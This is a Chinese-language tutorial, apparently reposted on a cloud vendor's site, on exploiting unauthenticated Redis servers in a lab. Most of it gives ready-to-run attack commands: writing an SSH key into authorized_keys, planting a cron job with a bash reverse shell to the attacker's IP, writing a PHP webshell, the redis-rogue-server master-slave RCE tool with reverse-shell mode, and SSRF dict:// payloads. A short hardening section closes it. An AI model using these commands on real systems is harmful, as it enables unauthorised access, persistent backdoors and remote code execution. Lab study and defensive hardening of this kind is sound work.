您好,登錄后才能下訂單哦!
這篇文章主要為大家展示了“Redis漏洞有哪些”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“Redis漏洞有哪些”這篇文章吧。
redis是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string、list、set、zset和hash。這些數據類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。與memcached一樣,為了證效率,數據都是緩存在內存中。區別的是redis會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎上實現了master-slave(主從)同步。
set xz "Hacker" # 設置鍵xz的值為字符串Hacker get xz # 獲取鍵xz的內容 SET score 857 # 設置鍵score的值為857 INCR score # 使用INCR命令將score的值增加1 GET score # 獲取鍵score的內容 keys * # 列出當前數據庫中所有的鍵 config set protected-mode no # 關閉安全模式 get anotherkey # 獲取一個不存在的鍵的值 config set dir /root/redis # 設置保存目錄 config set dbfilename redis.rdb # 設置保存文件名 config get dir # 查看保存目錄 config get dbfilename # 查看保存文件名 save # 進行一次備份操作 flushall # 刪除所有數據 del key # 刪除鍵為key的數據 slaveof ip port # 設置主從關系 redis-cli -h ip -p 6379 -a passwd # 外部連接
1.使用SET和GET命令,可以完成基本的賦值和取值操作; 2.Redis是不區分命令的大小寫的,set和SET是同一個意思; 3.使用keys *可以列出當前數據庫中的所有鍵; 4.當嘗試獲取一個不存在的鍵的值時,Redis會返回空,即(nil); 5.如果鍵的值中有空格,需要使用雙引號括起來,如"Hello World";
port參數
格式為port后面接端口號,如port 6379,表示Redis服務器將在6379端口上進行監聽來等待客戶端的連接。
bind參數
格式為bind后面接IP地址,可以同時綁定在多個IP地址上,IP地址之間用空格分離,如bind 192.168.1.100 10.0.0.1,表允許192.168.1.100和10.0.0.1兩個IP連接。如果設置為0.0.0.0則表示任意ip都可連接,說白了就是白名單。
save參數
格式為save <秒數> <變化數>,表示在指定的秒數內數據庫存在指定的改變數時自動進行備份(Redis是內存數據庫,這里的備份就是指把內存中的數據備份到磁盤上)。可以同時指定多個save參數,如: save 900 1 save 300 10 save 60 10000 表示如果數據庫的內容在60秒后產生了10000次改變,或者300秒后產生了10次改變,或者900秒后產生了1次改變,那么立即進行備份操作。
requirepass參數
格式為requirepass后接指定的密碼,用于指定客戶端在連接Redis服務器時所使用的密碼。Redis默認的密碼參數是空的,說明不需要密碼即可連接;同時,配置文件有一條注釋了的requirepass foobared命令,如果去掉注釋,表示需要使用foobared密碼才能連接Redis數據庫。
dir參數
格式為dir后接指定的路徑,默認為dir ./,指明Redis的工作目錄為當前目錄,即redis-server文件所在的目錄。注意,Redis產生的備份文件將放在這個目錄下。
dbfilename參數
格式為dbfilename后接指定的文件名稱,用于指定Redis備份文件的名字,默認為dbfilename dump.rdb,即備份文件的名字為dump.rdb。
config命令
通過config命令可以讀取和設置dir參數以及dbfilename參數,因為這條命令比較危險(實驗將進行詳細介紹),所以Redis在配置文件中提供了rename-command參數來對其進行重命名操作,如rename-command CONFIG HTCMD,可以將CONFIG命令重命名為HTCMD。配置文件默認是沒有對CONFIG命令進行重命名操作的。
protected-mode參數
redis3.2之后添加了protected-mode安全模式,默認值為yes,開啟后禁止外部連接,所以在測試時,先在配置中修改為no。
攻擊機 | Kali(192.168.33.131) |
目標機 | Ubantu 16(192.168.33.133) |
利用原理:
Redis 提供了2種不同的持久化方式,RDB方式和AOF方式.
RDB 持久化可以在指定的時間間隔內生成數據集的時間點快照
AOF 持久化記錄服務器執行的所有寫操作命令.
經過查看官網文檔發現AOF方式備份數據庫的文件名默認為appendonly.aof,可以在配置文件中通過appendfilename設置其他名稱,通過測試發現不能在客戶端交互中動態設置appendfilename,所以不能通過AOF方式備份寫任意文件.
RDB方式備份數據庫的文件名默認為dump.rdb,此文件名可以通過客戶端交互動態設置dbfilename來更改,造成可以寫任意文件.
靶機:unbantu 16
為快速復現,默認apt-get安裝 先進行更新 sudo apt-get upgrade 安裝 sudo apt-get install redis-server 默認安裝到 /usr/bin/redis-server 直接啟動服務就可以執行redis-server或者redis-server+(配置文件目錄) 注意要將配置文件中的bind參數改為0.0.0.0或者注釋掉,并且修改protected-mode為no允許外連。 還需要關閉防火墻,具體命令:sudo ufw disable 查看防火墻狀態:sudo ufw status
安裝之后開啟redis服務準備復現
原理:
SSH提供兩種登錄驗證方式,一種是口令驗證也就是賬號密碼登錄,另一種是密鑰驗證。
所謂密鑰驗證,其實就是一種基于公鑰密碼的認證,使用公鑰加密、私鑰解密,其中公鑰是可以公開的,放在服務器端,你可以把同一個公鑰放在所有你想SSH遠程登錄的服務器中,而私鑰是保密的只有你自己知道,公鑰加密的消息只有私鑰才能解密,大體過程如下:
(1)客戶端生成私鑰和公鑰,并把公鑰拷貝給服務器端; (2)客戶端發起登錄請求,發送自己的相關信息; (3)服務器端根據客戶端發來的信息查找是否存有該客戶端的公鑰,若沒有拒絕登錄,若有則生成一段隨機數使用該公鑰加密后發送給客戶端; (4)客戶端收到服務器發來的加密后的消息后使用私鑰解密,并把解密后的結果發給服務器用于驗證; (5)服務器收到客戶端發來的解密結果,與自己剛才生成的隨機數比對,若一樣則允許登錄,不一樣則拒絕登錄。
條件:
1、Redis服務使用ROOT賬號啟動
2、服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器。
詳細步驟:
在攻擊機本地生成公鑰文件:
需要為我們的公鑰文件設置一個私鑰
公鑰文件默認路徑:/root/.ssh/id_rsa.pub
具體命令:
ssh-keygen -t rsa cd /root/.ssh ls cat id_rsa.pub
然后通過未授權訪問目標機
具體命令
redis-cli -h 192.168.33.134 #連接目標主機redis config get dir #檢查當前保存路徑 config get dbfilename #檢查保存文件名 config set dir /root/.ssh/ #設置保存路徑 config set dbfilename authorized_keys #設置保存文件名 set xz "\n\n\n 公鑰 \n\n\n" #將公鑰寫入xz健 save #進行保存
利用公鑰進行SSH登錄攻擊機,第一次需要輸入yes
原理:
我們都知道crontab是做計劃任務的,啟動的任務存放在/var/spool/cron中,root可以修改計劃任務,可以將執行命令反彈shell直接寫入計劃任務中
條件:
root啟用Redis
redis無密碼或者弱密碼
詳細步驟:
先在攻擊機使用nc監聽8888端口nc lvp 8888
然后去操作Redis,具體命令:
redis-cli -h 192.168.33.134 #連接redis flushall #清除所有鍵值 config set dir /var/spool/cron/crontabs/ #設置保存路徑 config set dbfilename shell #保存名稱 set xz "\n* * * * * bash -i >& /dev/tcp/192.168.33.131/8888 0>&1\n" #將反彈shell寫入xz鍵值 save #寫入保存路徑的shell文件
看到監聽的命令行窗口已經有彈回來的shell了(這里有很多的坑,ubantu寫入會出現亂碼和不回彈的情況,反彈shell測試最好還是用centos測試吧)
ubantu的坑參考這個文章https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/
條件:
知道網站絕對路徑,并且需要增刪改查權限
root啟動redis
redis弱密碼或者無密碼
補充:若不知道物理路徑,可嘗試尋找網站的應用程序錯誤或者常見絕對路徑去嘗試。
詳細步驟:
redis-cli -h 192.168.3.134 #連接Redis config set dir /www/admin/localhost_80/wwwroot #設置要寫入shell的路徑 set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n" #寫入phpinfo()到xxx鍵 config set dbfilename phpinfo.php save
成功寫入
原理:
Redis如果當把數據存儲在單個Redis的實例中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實例作為主機,其他實例都作為備份機,其中主機和從機數據相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。
在兩個Redis實例設置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上,然后在從機上加載so文件,我們就可以執行拓展的新命令了。
條件:
Redis 版本(4.x~5.0.5)(新增模塊功能,可以通過C語言并編譯出惡意.so文件)
redis弱密碼或者無密碼
root啟動redis
詳細步驟:
模擬主從關系,具體命令
root@kali:~/桌面# redis-cli -h 192.168.33.134 192.168.33.134:6379> slaveof 192.168.33.131 6379 OK 192.168.33.134:6379> get xz (nil) 192.168.33.134:6379> exit root@kali:~/桌面# redis-cli 127.0.0.1:6379> get xz (nil) 127.0.0.1:6379> set xz xz OK 127.0.0.1:6379> exit root@kali:~/桌面# redis-cli -h 192.168.33.134 192.168.33.134:6379> get xz "xz" 192.168.33.134:6379>
設置主從關系
root@kali:~/桌面# redis-cli -h 192.168.33.134 192.168.33.134:6379> slaveof 192.168.33.131 6379 OK
然后在kali下載利用工具https://github.com/n0b0dyCN/redis-rogue-server
下載之后cd進入RedisModulesSDK目錄使用make編譯,當然不想編譯也可以用作者給出的默認exp.so也是可以的。
有兩種使用方法
一種是交互式shell,另一種是反彈shell
交互shell演示:
python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so 根據提示輸入i進入交互shell
反彈shell
python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so 根據提示輸入r,接著輸入ip和端口進行反彈
ps:redis主從RCE打多了會出現redis癱瘓的情況,所以不到萬不得已,盡量不要打主從
原理:
SSRF攻擊的目標是從外網無法訪問的內部系統,這里通過SSRF使用dict協議訪問本地Redis
條件:
root啟用redis
目標機存在dict協議
知道網站絕對路徑
redis無密碼或者弱密碼
詳細步驟:
使用pikachu的靶場,這里采用dict協議,目標機需要先安裝dict協議
這里直接寫入<>會被實體編碼,?直接被截斷,暫時沒找到解決辦法 dict://192.168.33.134:6379/set:xz:<?php phpinfo() ;?> dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php dict://192.168.33.134:6379/save 直接寫入失敗,所以可以采用主從復制寫入 dict://192.168.33.134:6379/slaveof:192.168.33.131:6379 dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php 先設置好保存的路徑和保存的文件名 然后登入kali進行主從復制操作,方法和上面的一樣 127.0.0.1:6379> set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n" 再去web端執行save操作 dict://192.168.33.134:6379/save 這樣數據直接回同步到目標機
寫入失敗截圖:
成功寫入截圖:
redis2.6之前內置了lua腳本環境在redis未授權的情況下可以利用lua執行系統命令,這里沒有深入研究,感興趣可以看這篇文章:https://wooyun.x10sec.org/static/drops/papers-3062.html
https://github.com/Ridter/hackredis
redis未授權訪問致遠程植入挖礦腳本(防御篇)
https://mp.weixin.qq.com/s/eUTZsGUGSO0AeBUaxq4Q2w
Windows下如何getshell?
寫入webshell,需要知道web路徑 寫入啟動項,需要目標服務器重啟 寫入MOF,MOF每隔5秒鐘會自動執行一次,適用于Windows2003。
1、禁止一些高危命令(重啟redis才能生效)
修改 redis.conf 文件,禁用遠程修改 DB 文件地址
rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL ""
或者通過修改redis.conf文件,改變這些高危命令的名稱
rename-command FLUSHALL "name1" rename-command CONFIG "name2" rename-command EVAL "name3"
2、以低權限運行 Redis 服務(重啟redis才能生效)
為 Redis 服務創建單獨的用戶和家目錄,并且配置禁止登陸
groupadd -r redis && useradd -r -g redis redis
3、為 Redis 添加密碼驗證(重啟redis才能生效)
修改 redis.conf 文件,添加
requirepass mypassword (注意redis不要用-a參數,明文輸入密碼,連接后使用auth認證)
4、禁止外網訪問 Redis(重啟redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服務只在當前主機可用
bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯。
修改配置文件redis.conf文件
Port 6379
默認端口是6379,可以改變成其他端口(不要沖突就好)
為了保證安全,您應該阻止其他用戶添加新的公鑰。
將 authorized_keys 的權限設置為對擁有者只讀,其他用戶沒有任何權限:
chmod 400 ~/.ssh/authorized_keys
為保證 authorized_keys 的權限不會被改掉,您還需要設置該文件的 immutable 位權限:
chattr +i ~/.ssh/authorized_keys
然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設置 ~./ssh 的 immutable 權限:
chattr +i ~/.ssh
7、設置防火墻策略
如果正常業務中Redis服務需要被其他服務器來訪問,可以設置iptables策略僅允許指定的IP來訪問Redis服務。
以上是“Redis漏洞有哪些”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。